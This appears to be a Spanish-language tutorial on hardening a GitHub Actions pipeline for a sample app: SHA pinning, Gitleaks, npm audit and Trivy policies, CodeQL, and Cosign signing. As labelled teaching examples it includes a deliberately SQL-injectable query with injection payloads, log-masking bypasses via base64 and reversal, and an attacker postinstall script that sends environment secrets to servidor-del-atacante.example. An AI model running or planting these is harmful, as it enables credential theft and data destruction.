git checkout main && git pull
git checkout -b endurecer-pipeline

# Herramienta de auditoria rapida: que acciones usas y como estan fijadas
grep -rhoP '(?<=uses: ).*' .github/workflows/ | sort -u

# Que jobs declaran permisos
grep -rn -A3 'permissions:' .github/workflows/

# Que secretos se usan y donde
grep -rn 'secrets\.' .github/workflows/

gh api --method PUT "repos/{owner}/{repo}/actions/permissions/workflow" \
  -f default_workflow_permissions=read \
  -F can_approve_pull_request_reviews=false

# .github/workflows/ci.yml
permissions:
  contents: read      # todo lo demas queda en `none`

jobs:
  calidad:
    # sin bloque `permissions`: hereda contents: read
    ...

  publicar:
    permissions:
      contents: read
      packages: write   # solo este job puede escribir en el registro
      id-token: write   # solo este job puede pedir un token OIDC
    ...

ERROR: failed to push ghcr.io/tu-usuario/mini-reservalia:sha-8f3c1e2:
denied: installation not allowed to Create organization package

# Resolver el SHA de una etiqueta
gh api repos/actions/checkout/git/refs/tags/v4 --jq '.object.sha'

#!/usr/bin/env bash
# scripts/fijar-acciones.sh
# Sustituye `owner/repo@vX` por `owner/repo@<sha>  # vX` en los workflows.
set -Eeuo pipefail

command -v gh >/dev/null || { echo "Se necesita la CLI de GitHub (gh)"; exit 2; }

for fichero in .github/workflows/*.yml; do
  echo "== $fichero"
  # Solo las acciones de repositorio (owner/repo@ref); se excluyen
  # las locales (./.github/actions/...) y las de docker://
  grep -oP '(?<=uses: )[\w.-]+/[\w.-]+(?:/[\w.-]+)*@[\w.-]+' "$fichero" | sort -u | while read -r ref; do
    accion="${ref%@*}"
    version="${ref#*@}"
    # Si ya son 40 caracteres hexadecimales, esta fijada: no tocar.
    [[ "$version" =~ ^[0-9a-f]{40}$ ]] && continue

    repo="$(cut -d/ -f1,2 <<< "$accion")"
    sha="$(gh api "repos/${repo}/git/refs/tags/${version}" --jq '.object.sha' 2>/dev/null || true)"
    # Las etiquetas anotadas apuntan a un objeto tag, no al commit:
    # hay que desreferenciarlas.
    if [ -n "$sha" ]; then
      tipo="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha' 2>/dev/null || true)"
      [ -n "$tipo" ] && sha="$tipo"
    fi
    [ -z "$sha" ] && { echo "  ! no se pudo resolver $ref"; continue; }

    echo "  $ref -> $sha"
    sed -i "s|uses: ${accion}@${version}\$|uses: ${accion}@${sha} # ${version}|g" "$fichero"
  done
done
echo "Listo. Revisa el diff antes de commitear."

chmod +x scripts/fijar-acciones.sh
./scripts/fijar-acciones.sh
git diff

-      - uses: actions/checkout@v4
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0

version: 2
updates:
  # 1. Las acciones de GitHub Actions
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
      day: monday
      time: '06:00'
    open-pull-requests-limit: 5
    commit-message:
      prefix: 'ci'
    labels: ['dependencias', 'ci']

  # 2. Las dependencias de npm
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    open-pull-requests-limit: 10
    commit-message:
      prefix: 'deps'
    labels: ['dependencias']
    groups:
      # Agrupar las de desarrollo en un solo PR: 8 PR de parches de
      # eslint por semana es la forma mas rapida de que el equipo aprenda
      # a ignorar los PR de Dependabot.
      desarrollo:
        dependency-type: development
        update-types: ['minor', 'patch']
    ignore:
      # Los mayores se revisan a mano, no automaticamente.
      - dependency-name: '*'
        update-types: ['version-update:semver-major']

  # 3. La imagen base del Dockerfile
  - package-ecosystem: docker
    directory: /
    schedule:
      interval: weekly
    labels: ['dependencias', 'docker']

# .gitleaks.toml
title = "Mini-Reservalia"

# Partimos de las ~150 reglas por defecto de Gitleaks y anadimos las nuestras.
[extend]
useDefault = true

[[rules]]
id = "token-interno-reservalia"
description = "Token interno de Reservalia (rsv_...)"
regex = '''rsv_[a-zA-Z0-9]{32}'''
tags = ["clave", "interno"]

[[rules]]
id = "url-postgres-con-password"
description = "Cadena de conexion de PostgreSQL con contrasena"
regex = '''postgres(?:ql)?://[^:\s]+:[^@\s]{6,}@[^\s/]+'''
tags = ["base-datos"]

[allowlist]
description = "Falsos positivos conocidos y justificados"
paths = [
  '''package-lock\.json''',          # los integrity hashes parecen claves
  '''(.*?)(jpg|png|webp|pdf)$''',
  '''cursos_contenido/.*\.md$''',
]
regexes = [
  '''EXAMPLE|EJEMPLO|xxxxx|CAMBIAME|placeholder''',   # valores de documentacion
  '''postgres://postgres:prueba@localhost''',          # el de las pruebas de la 07-02
]

  secretos:
    name: Deteccion de secretos
    runs-on: ubuntu-latest
    timeout-minutes: 10
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          # fetch-depth: 0 escanea TODO el historial, no solo el ultimo commit.
          # Es mas lento pero es el unico modo de encontrar lo que ya esta dentro.
          fetch-depth: 0

      - name: Gitleaks
        uses: gitleaks/gitleaks-action@83373cf2f8c4db6e24b41c1a9b086bb9619e9cd3 # v2.3.7
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GITLEAKS_ENABLE_UPLOAD_ARTIFACT: 'true'
          GITLEAKS_ENABLE_SUMMARY: 'true'

      - name: Gitleaks (binario fijado por version)
        run: |
          set -Eeuo pipefail
          VERSION=8.21.2
          curl -sSL "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" \
            | tar -xz gitleaks
          ./gitleaks detect \
            --source . \
            --config .gitleaks.toml \
            --report-format sarif \
            --report-path resultados-gitleaks.sarif \
            --redact \
            --verbose \
            --exit-code 1
          # --redact: los secretos NO aparecen en el log del pipeline.
          # Sin esto, el detector de secretos publica el secreto en un log
          # que puede leer cualquiera con acceso al repositorio.

      - name: Subir resultados a la pestana Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: resultados-gitleaks.sarif
          category: gitleaks

npm install --save-dev husky
npx husky init
cat > .husky/pre-commit <<'EOF'
#!/usr/bin/env sh
# Escanea SOLO lo que se va a commitear: rapido (< 1 s).
if command -v gitleaks >/dev/null 2>&1; then
  gitleaks protect --staged --config .gitleaks.toml --redact --verbose || {
    echo ""
    echo "❌ Se ha detectado un posible secreto en los cambios preparados."
    echo "   Sacalo del codigo y usa una variable de entorno o un secreto del repositorio."
    echo "   Si es un falso positivo, anadelo a la allowlist de .gitleaks.toml."
    exit 1
  }
fi
npm run lint && npm test
EOF
chmod +x .husky/pre-commit

git checkout -b filtrar-secreto-de-prueba

cat > src/config-temporal.js <<'EOF'
// FICHERO DE PRUEBA - se borrara. NO es un secreto real.
export const CONFIG = {
  // Clave de AWS con el formato exacto que buscan los detectores.
  awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE',
  awsSecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
  tokenInterno: 'rsv_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
  baseDatos: 'postgres://admin:[email protected]:5432/reservalia',
};
EOF

git add src/config-temporal.js
git commit -m "feat: configuracion temporal"   # el hook lo bloquea si lo instalaste

git commit --no-verify -m "feat: configuracion temporal"
git push -u origin filtrar-secreto-de-prueba
gh pr create --fill

# Ejemplo con AWS (equivalente de Reservalia)
aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name servicio-ci
aws iam create-access-key --user-name servicio-ci
# ...actualizar el secreto en GitHub...
aws iam delete-access-key --access-key-id AKIA... --user-name servicio-ci

# En GitHub
gh secret set AWS_ACCESS_KEY_ID --body "AKIA_NUEVA"

# AWS CloudTrail: que se hizo con esa clave y desde donde
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
  --start-time "$(date -u -d '30 days ago' +%Y-%m-%dT%H:%M:%SZ)" \
  --max-results 50

# git-filter-repo es la herramienta recomendada (filter-branch esta obsoleta)
pip install git-filter-repo

# Opcion A: eliminar el fichero entero de todo el historial
git filter-repo --path src/config-temporal.js --invert-paths --force

# Opcion B: sustituir solo los valores, conservando los ficheros
cat > /tmp/reemplazos.txt <<'EOF'
AKIAIOSFODNN7EXAMPLE==>ROTADO-VER-INCIDENTE-42
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY==>ROTADO-VER-INCIDENTE-42
SuperSecreta2026==>ROTADO-VER-INCIDENTE-42
EOF
git filter-repo --replace-text /tmp/reemplazos.txt --force

# Reescribir el remoto (COORDINALO con todo el equipo antes)
git remote add origin https://github.com/TU_USUARIO/mini-reservalia.git
git push origin --force --all
git push origin --force --tags

# Los PR, issues y comentarios que citan el commit conservan copias.
# La cache de GitHub tambien. Hay que pedir a soporte que la purgue:
#   https://support.github.com/contact  -> "Remove cached views"
# Ademas: cada FORK del repositorio conserva el commit COMPLETO,
# y tu no puedes borrar los forks de otras personas.

git checkout main
git branch -D filtrar-secreto-de-prueba
git push origin --delete filtrar-secreto-de-prueba
gh pr close <numero> 2>/dev/null || true

npm audit --json | jq '.metadata.vulnerabilities'
# { "info": 0, "low": 2, "moderate": 1, "high": 0, "critical": 0, "total": 3 }

# Política de severidades

| Severidad | Producción | Desarrollo | Acción | Plazo |
|---|---|---|---|---|
| **Crítica** | Rompe el build | Rompe el build | Bloqueo inmediato | 24 h |
| **Alta** | Rompe el build | Abre un ticket | Bloqueo en producción | 7 días |
| **Media** | Abre un ticket | Abre un ticket | No bloquea | 30 días |
| **Baja** | Informa | Informa | Revisión trimestral | — |

**Excepciones.** Toda excepción requiere: (a) justificación escrita,
(b) fecha de caducidad no superior a 90 días, (c) aprobación de un segundo
revisor. Se registran en `seguridad/excepciones.json` y **caducan solas**:
pasada la fecha, el build vuelve a romperse.

**Sin `|| true`.** Si un escaneo no puede romper el build, no es un control.
Si algo no debe romperlo, se decide aquí, no en el YAML.

#!/usr/bin/env bash
# Aplica la politica de severidades sobre `npm audit --json`.
set -Eeuo pipefail

INFORME="${INFORME:-informes/audit.json}"
EXCEPCIONES="${EXCEPCIONES:-seguridad/excepciones.json}"
mkdir -p "$(dirname "$INFORME")"

# `|| true`: npm audit sale con codigo != 0 cuando encuentra algo.
# Aqui NO ignoramos el resultado: lo procesamos nosotros con la politica.
npm audit --json > "$INFORME" 2>/dev/null || true

HOY="$(date -u +%Y-%m-%d)"

# --- Excepciones vigentes (las caducadas se ignoran a proposito) -------------
VIGENTES='[]'
if [ -f "$EXCEPCIONES" ]; then
  VIGENTES=$(jq --arg hoy "$HOY" '[.excepciones[] | select(.caduca >= $hoy) | .id]' "$EXCEPCIONES")
  CADUCADAS=$(jq --arg hoy "$HOY" '[.excepciones[] | select(.caduca < $hoy)]' "$EXCEPCIONES")
  N_CADUCADAS=$(jq 'length' <<< "$CADUCADAS")
  if [ "$N_CADUCADAS" -gt 0 ]; then
    echo "::warning::$N_CADUCADAS excepcion(es) de seguridad han caducado y vuelven a bloquear:"
    jq -r '.[] | "  - \(.id): \(.motivo) (caduco el \(.caduca))"' <<< "$CADUCADAS"
  fi
fi

# --- Clasificar los hallazgos ------------------------------------------------
BLOQUEANTES=$(jq --argjson exc "$VIGENTES" '
  [ .vulnerabilities // {} | to_entries[]
    | select(.value.severity == "critical" or .value.severity == "high")
    | select((.value.isDirect == true) or (.value.effects | length) > 0)
    | select((.key | IN($exc[])) | not)
    | { paquete: .key, severidad: .value.severity, via: (.value.via | map(if type=="object" then .title else . end)) }
  ]' "$INFORME")

N_BLOQ=$(jq 'length' <<< "$BLOQUEANTES")
RESUMEN=$(jq -r '.metadata.vulnerabilities | "críticas: \(.critical) · altas: \(.high) · medias: \(.moderate) · bajas: \(.low)"' "$INFORME")

{
  echo "## Auditoría de dependencias"
  echo ""
  echo "**Resumen:** $RESUMEN"
  echo ""
  if [ "$N_BLOQ" -gt 0 ]; then
    echo "### ❌ $N_BLOQ hallazgo(s) bloqueante(s)"
    echo ""
    echo "| Paquete | Severidad | Detalle |"
    echo "|---|---|---|"
    jq -r '.[] | "| `\(.paquete)` | \(.severidad) | \(.via | join(", ") | .[0:90]) |"' <<< "$BLOQUEANTES"
  else
    echo "### ✅ Sin hallazgos bloqueantes según la política"
  fi
  echo ""
  echo "> Política completa en [\`seguridad/POLITICA.md\`](seguridad/POLITICA.md)"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stdout}"

if [ "$N_BLOQ" -gt 0 ]; then
  echo "::error::$N_BLOQ vulnerabilidad(es) critica(s)/alta(s) sin excepcion vigente"
  jq -r '.[] | "  - \(.paquete) [\(.severidad)]"' <<< "$BLOQUEANTES"
  exit 1
fi
echo "Auditoria superada: $RESUMEN"

{
  "$comentario": "Excepciones de seguridad. Cada una CADUCA. Ver seguridad/POLITICA.md.",
  "excepciones": [
    {
      "id": "ejemplo-paquete",
      "severidad": "high",
      "motivo": "Solo afecta al parseo de ficheros SVG subidos por el usuario; Mini-Reservalia no acepta subidas. No hay parche aun (upstream #1234).",
      "aprobado_por": "@marta",
      "creada": "2026-04-10",
      "caduca": "2026-07-09",
      "revision": "Comprobar si upstream ha publicado el parche"
    }
  ]
}

  codeql:
    name: SAST (CodeQL)
    runs-on: ubuntu-latest
    timeout-minutes: 20
    permissions:
      contents: read
      security-events: write
      actions: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Inicializar CodeQL
        uses: github/codeql-action/init@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          languages: javascript-typescript
          # `security-extended` anade consultas de menor precision pero mayor
          # cobertura. En un proyecto pequeno el ruido es asumible; en uno
          # grande, empieza por `security-and-quality` y sube desde ahi.
          queries: security-extended

      - name: Analizar
        uses: github/codeql-action/analyze@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          category: '/language:javascript-typescript'

  /**
   * VULNERABLE A PROPOSITO - ejercicio de la leccion 07-05.
   * Concatena la entrada del usuario en la consulta SQL.
   */
  buscarPorCliente(nombre) {
    // ❌ INYECCION SQL: `nombre` viene de un parametro de la peticion.
    //    Con nombre = "' OR '1'='1" se devuelven TODAS las citas.
    //    Con nombre = "'; DROP TABLE citas; --" se pierde la tabla.
    return this.#db.prepare(`SELECT * FROM citas WHERE cliente = '${nombre}'`).all();
  }

      if (req.method === 'GET' && url.pathname === '/api/buscar') {
        const nombre = url.searchParams.get('cliente') ?? '';
        // ❌ `nombre` va sin sanear a una consulta construida por concatenacion
        return responderJson(res, 200, { resultados: repositorio.buscarPorCliente(nombre) });
      }

Database query built from user-controlled sources                    High
src/repositorio-sqlite.js:52

This query depends on a user-provided value.
  ← flows from: url.searchParams.get('cliente')  (src/servidor.js:78)

npm start &
curl -s "localhost:3000/api/buscar?cliente=Ana"
# {"resultados":[{"id":1,"cliente":"Ana",...}]}

curl -s "localhost:3000/api/buscar?cliente=%27%20OR%20%271%27=%271"
# {"resultados":[ ...TODAS las citas de TODOS los clientes... ]}

  /**
   * Busca citas por nombre exacto de cliente.
   * Sentencia PREPARADA con parametro: el motor trata el valor como DATO,
   * nunca como SQL. La inyeccion es imposible por construccion, no por
   * saneado. Sanear es un parche; parametrizar es la solucion.
   */
  buscarPorCliente(nombre) {
    if (typeof nombre !== 'string' || nombre.length === 0 || nombre.length > 80) {
      throw new TypeError('nombre de cliente invalido');
    }
    return this.#db
      .prepare('SELECT id, fecha, inicio, fin, cliente FROM citas WHERE cliente = ? ORDER BY fecha, inicio')
      .all(nombre);
  }

// test/inyeccion.test.js
import test, { describe, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { RepositorioSqlite } from '../src/repositorio-sqlite.js';

describe('resistencia a la inyeccion SQL', () => {
  let repo;
  beforeEach(() => {
    repo = new RepositorioSqlite(':memory:');
    repo.crearCita({ fecha: '2026-03-02', inicio: '10:00', fin: '10:30', cliente: 'Ana' });
    repo.crearCita({ fecha: '2026-03-02', inicio: '11:00', fin: '11:30', cliente: 'Diego' });
  });

  test("' OR '1'='1 no devuelve todas las filas", () => {
    assert.deepEqual(repo.buscarPorCliente("' OR '1'='1"), []);
  });

  test('un DROP TABLE inyectado no destruye nada', () => {
    repo.buscarPorCliente("'; DROP TABLE citas; --");
    assert.equal(repo.listarCitas('2026-03-02').length, 2); // la tabla sigue ahi
  });

  test('un nombre con comilla simple se busca literalmente', () => {
    repo.crearCita({ fecha: '2026-03-03', inicio: '10:00', fin: '10:30', cliente: "O'Brien" });
    assert.equal(repo.buscarPorCliente("O'Brien").length, 1);
  });
});

      - name: Escanear la imagen con Trivy
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
        with:
          image-ref: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
          format: sarif
          output: trivy.sarif
          severity: 'CRITICAL,HIGH'
          # `0` aqui: NO rompemos con la accion, para poder subir SIEMPRE el
          # SARIF a la pestana Security. La decision de romper la toma el
          # paso siguiente, con NUESTRA politica y NUESTRAS excepciones.
          exit-code: '0'
          ignore-unfixed: true    # sin parche disponible no hay accion posible
          trivyignores: seguridad/.trivyignore

      - name: Subir resultados a Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: trivy.sarif
          category: trivy-imagen

      - name: Aplicar la politica de severidades a la imagen
        run: |
          set -Eeuo pipefail
          docker run --rm -v "$PWD:/w" -w /w \
            aquasec/trivy:0.58.0 image \
              --format json --output /w/trivy.json \
              --severity CRITICAL,HIGH --ignore-unfixed \
              --ignorefile /w/seguridad/.trivyignore \
              "ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"

          CRIT=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="CRITICAL")] | length' trivy.json)
          ALTA=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="HIGH")]     | length' trivy.json)

          {
            echo "## Escaneo de la imagen (Trivy)"
            echo ""
            echo "| Severidad | Con parche disponible |"
            echo "|---|---|"
            echo "| CRÍTICA | $CRIT |"
            echo "| ALTA | $ALTA |"
            echo ""
            if [ "$CRIT" -gt 0 ] || [ "$ALTA" -gt 0 ]; then
              echo "| CVE | Paquete | Instalada | Corregida en |"
              echo "|---|---|---|---|"
              jq -r '[.Results[]?.Vulnerabilities[]?
                      | select(.Severity=="CRITICAL" or .Severity=="HIGH")]
                     | unique_by(.VulnerabilityID) | .[]
                     | "| \(.VulnerabilityID) | \(.PkgName) | \(.InstalledVersion) | \(.FixedVersion // "—") |"' trivy.json
            fi
          } >> "$GITHUB_STEP_SUMMARY"

          # Politica: las criticas rompen SIEMPRE; las altas solo en main.
          if [ "$CRIT" -gt 0 ]; then
            echo "::error::$CRIT vulnerabilidad(es) CRITICA(s) con parche disponible en la imagen"
            exit 1
          fi
          if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
            echo "::error::$ALTA vulnerabilidad(es) ALTA(s) con parche disponible; no se publica desde main"
            exit 1
          fi
          echo "Escaneo de imagen superado."

# EXCEPCIONES DE ESCANEO DE IMAGEN
# Formato: cada CVE lleva JUSTIFICACION, APROBADOR y CADUCIDAD.
# El job `caducidad-excepciones` falla cuando una pasa de fecha.

# CVE-2024-XXXXX
#   Paquete:      libsomething 2.1.0
#   Justificación: solo explotable al procesar ficheros TIFF; Mini-Reservalia
#                 no procesa imágenes. Debian no ha publicado backport.
#   Aprobado por:  @marta
#   Creada:        2026-04-10
#   CADUCA:        2026-07-09
CVE-2024-XXXXX

  caducidad-excepciones:
    name: Caducidad de las excepciones
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - name: Comprobar que ninguna excepcion ha caducado
        run: |
          set -Eeuo pipefail
          HOY=$(date -u +%Y-%m-%d)
          CADUCADAS=0
          # Recorre los bloques de comentario en busca de "CADUCA: fecha"
          while read -r linea; do
            FECHA=$(grep -oP '(?<=CADUCA:\s{8})\S+|(?<=CADUCA:\s)\S+' <<< "$linea" | head -1)
            [ -z "$FECHA" ] && continue
            if [[ "$FECHA" < "$HOY" ]]; then
              echo "::error::Excepción caducada el $FECHA: $linea"
              CADUCADAS=$((CADUCADAS + 1))
            fi
          done < <(grep -h 'CADUCA:' seguridad/.trivyignore || true)

          # Y las de npm audit
          if [ -f seguridad/excepciones.json ]; then
            N=$(jq --arg h "$HOY" '[.excepciones[] | select(.caduca < $h)] | length' seguridad/excepciones.json)
            [ "$N" -gt 0 ] && { echo "::error::$N excepción(es) de dependencias caducadas"; CADUCADAS=$((CADUCADAS+N)); }
          fi

          [ "$CADUCADAS" -eq 0 ] || { echo "Hay $CADUCADAS excepción(es) caducada(s). Renuévalas o arregla el problema."; exit 1; }
          echo "Todas las excepciones están vigentes."

# ---------- Etapa 3 alternativa: distroless ----------
FROM gcr.io/distroless/nodejs20-debian12:nonroot AS runtime
WORKDIR /app
COPY --from=deps  --chown=nonroot:nonroot /app/node_modules ./node_modules
COPY --from=build --chown=nonroot:nonroot /app/dist ./dist
USER nonroot
EXPOSE 3000
# Sin shell: el ENTRYPOINT es el binario de node directamente.
CMD ["dist/src/servidor.js"]

      - name: Generar SBOM (CycloneDX)
        uses: anchore/sbom-action@df80a981bc6edbc4e220a492d3cbe9f5547a6e75 # v0.17.9
        with:
          image: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
          format: cyclonedx-json
          output-file: sbom.cdx.json
          artifact-name: sbom-${{ github.sha }}.cdx.json

      - name: Resumen del SBOM
        run: |
          TOTAL=$(jq '.components | length' sbom.cdx.json)
          {
            echo "## SBOM"
            echo ""
            echo "**$TOTAL componentes** inventariados."
            echo ""
            echo "<details><summary>Primeros 20</summary>"
            echo ""
            echo "| Componente | Versión | Tipo |"
            echo "|---|---|---|"
            jq -r '.components[:20][] | "| \(.name) | \(.version // "—") | \(.type) |"' sbom.cdx.json
            echo ""
            echo "</details>"
          } >> "$GITHUB_STEP_SUMMARY"

      - name: Instalar Cosign
        uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0

      - name: Firmar la imagen (keyless por OIDC)
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          set -Eeuo pipefail
          IMAGEN="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
          # Firma SIN CLAVES: Cosign pide un token OIDC a GitHub, obtiene un
          # certificado efimero de Fulcio (validez ~10 min) y registra la firma
          # en el log publico Rekor. No hay ninguna clave privada que rotar,
          # guardar ni filtrar: el problema de la gestion de claves desaparece.
          cosign sign --yes "$IMAGEN"

      - name: Adjuntar el SBOM como attestation firmada
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          IMAGEN="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
          cosign attest --yes --predicate sbom.cdx.json --type cyclonedx "$IMAGEN"

cosign verify \
  --certificate-identity-regexp "https://github.com/TU_USUARIO/mini-reservalia/.github/workflows/ci.yml@refs/heads/main" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  ghcr.io/TU_USUARIO/mini-reservalia@sha256:...

Verification for ghcr.io/tu-usuario/mini-reservalia@sha256:3f9a... --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - Existence of the claims in the transparency log was verified offline
  - The code-signing certificate was verified using trusted certificate authority certificates

[{"critical":{"identity":{"docker-reference":"ghcr.io/tu-usuario/mini-reservalia"},
  "image":{"docker-manifest-digest":"sha256:3f9a..."},"type":"cosign container image signature"},
  "optional":{"Issuer":"https://token.actions.githubusercontent.com",
  "Subject":"https://github.com/tu-usuario/mini-reservalia/.github/workflows/ci.yml@refs/heads/main"}}]

cosign verify --certificate-identity-regexp "https://github.com/otro/repo/.*" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  ghcr.io/TU_USUARIO/mini-reservalia@sha256:...
# Error: no matching signatures

      - name: Instalar Cosign
        uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0

      - name: Verificar la firma ANTES de desplegar
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          set -Eeuo pipefail
          IMAGEN="${{ needs.preparar.outputs.imagen }}"
          echo "Verificando la firma de $IMAGEN"

          # La identidad esperada es EXACTA: este repositorio, este workflow,
          # esta rama. Un `--certificate-identity-regexp ".*"` aceptaria
          # cualquier firma de cualquiera: seria peor que no verificar,
          # porque da una falsa sensacion de seguridad.
          if ! cosign verify \
              --certificate-identity-regexp "^https://github.com/${{ github.repository }}/\.github/workflows/ci\.yml@refs/heads/main$" \
              --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
              "$IMAGEN" > verificacion.json 2>&1; then
            echo "::error::FIRMA NO VALIDA. No se despliega."
            cat verificacion.json
            {
              echo "## 🛑 Despliegue abortado: firma no válida"
              echo ""
              echo "La imagen \`$IMAGEN\` no está firmada por el workflow de CI de este repositorio."
              echo "Posibles causas: imagen construida fuera del pipeline, firma ausente, o suplantación."
            } >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi

          echo "✅ Firma verificada: construida por el CI de este repositorio." >> "$GITHUB_STEP_SUMMARY"

      - name: Verificar la attestation del SBOM
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          cosign verify-attestation --type cyclonedx \
            --certificate-identity-regexp "^https://github.com/${{ github.repository }}/.*" \
            --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
            "${{ needs.preparar.outputs.imagen }}" > /dev/null
          echo "✅ SBOM verificado y adjunto al artefacto." >> "$GITHUB_STEP_SUMMARY"

docker pull alpine:3.20
docker tag alpine:3.20 ghcr.io/TU_USUARIO/mini-reservalia:falsa
docker push ghcr.io/TU_USUARIO/mini-reservalia:falsa
DIGEST=$(docker buildx imagetools inspect ghcr.io/TU_USUARIO/mini-reservalia:falsa --format '{{.Manifest.Digest}}')

gh workflow run cd.yml -f digest="$DIGEST"

Error: no matching signatures:
::error::FIRMA NO VALIDA. No se despliega.

# Mal: accesible desde cualquier workflow
gh secret delete GRAFANA_TOKEN

# Bien: solo desde jobs con environment: produccion, y solo tras aprobacion
gh secret set GRAFANA_TOKEN --env produccion --body "glsa_xxxxx"
gh secret list --env produccion

  prueba-enmascarado:
    name: Limites del enmascarado
    runs-on: ubuntu-latest
    steps:
      - name: 1. Imprimir el secreto directamente
        run: |
          echo "Intento directo: ${{ secrets.SECRETO_PRUEBA }}"
          echo "Por variable: $SECRETO"
        env:
          SECRETO: ${{ secrets.SECRETO_PRUEBA }}
        # SALIDA: "Intento directo: ***"  y  "Por variable: ***"
        # El enmascarado funciona: Actions busca el valor exacto en cada
        # linea de log y lo sustituye por ***.

      - name: 2. Transformaciones que ROMPEN el enmascarado
        env:
          SECRETO: ${{ secrets.SECRETO_PRUEBA }}
        run: |
          echo "--- base64 ---"
          echo "$SECRETO" | base64
          # SALIDA: bWlfc2VjcmV0by1zdXBlci0xMjM=   <- NO enmascarado

          echo "--- caracter a caracter ---"
          echo "$SECRETO" | fold -w1 | tr '\n' ' '
          # SALIDA: m i _ s e c r e t o ...        <- NO enmascarado

          echo "--- invertido ---"
          echo "$SECRETO" | rev
          # SALIDA: 321-repus-oterces_im            <- NO enmascarado

          echo "--- en hexadecimal ---"
          echo -n "$SECRETO" | xxd -p
          # SALIDA: 6d695f7365637265746f2d...       <- NO enmascarado

          echo "--- por partes ---"
          echo "primera mitad: ${SECRETO:0:8}"
          echo "segunda mitad: ${SECRETO:8}"
          # SALIDA: ambas visibles                  <- NO enmascarado

gh secret set SECRETO_PRUEBA --body "mi_secreto-super-123"

# En la cabecera de cualquier script que maneje credenciales:
set +x                    # nunca trazar
export PS4=''             # por si algo lo activa
# Y desactivar el volcado de nucleo, que podria contener el secreto en memoria:
ulimit -c 0

# ❌❌❌ VULNERABLE. NO USAR. Ejemplo didactico.
name: PR vulnerable
on:
  pull_request_target:      # 1. Se ejecuta con secretos y token de escritura
    types: [opened, synchronize]

jobs:
  comprobar:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          # 2. EL FALLO: descarga explicitamente el codigo DEL PR,
          #    que es codigo de un desconocido, en un contexto privilegiado.
          ref: ${{ github.event.pull_request.head.sha }}

      - uses: actions/setup-node@v4
      # 3. LA EJECUCION: `npm ci` ejecuta los scripts `postinstall`
      #    del package.json DEL ATACANTE. Ya esta: ejecucion de codigo
      #    arbitrario con todos tus secretos en el entorno.
      - run: npm ci
      - run: npm test
        env:
          TOKEN_DESPLIEGUE: ${{ secrets.TOKEN_DESPLIEGUE }}

{
  "scripts": {
    "postinstall": "node .exfiltrar.js"
  }
}

// El codigo del atacante, ejecutado en TU runner con TUS secretos.
// Recorre todo el entorno y lo manda fuera.
const botin = Object.entries(process.env)
  .filter(([k]) => /TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AWS|NPM/i.test(k))
  .map(([k, v]) => `${k}=${v}`)
  .join('\n');

// El enmascarado NO ayuda: el secreto no se imprime, se ENVIA.
fetch('https://servidor-del-atacante.example/recoger', {
  method: 'POST',
  body: botin,
});

on:
  pull_request:      # sin secretos, sin token de escritura, sin problema

on:
  pull_request_target:
    types: [opened]

permissions:
  pull-requests: write     # lo minimo para etiquetar
  contents: read

jobs:
  etiquetar:
    runs-on: ubuntu-latest
    steps:
      # SIN `ref:` -> se descarga `main`, codigo de confianza.
      # De hecho, para esto ni siquiera hace falta checkout.
      - name: Etiquetar segun el titulo
        env:
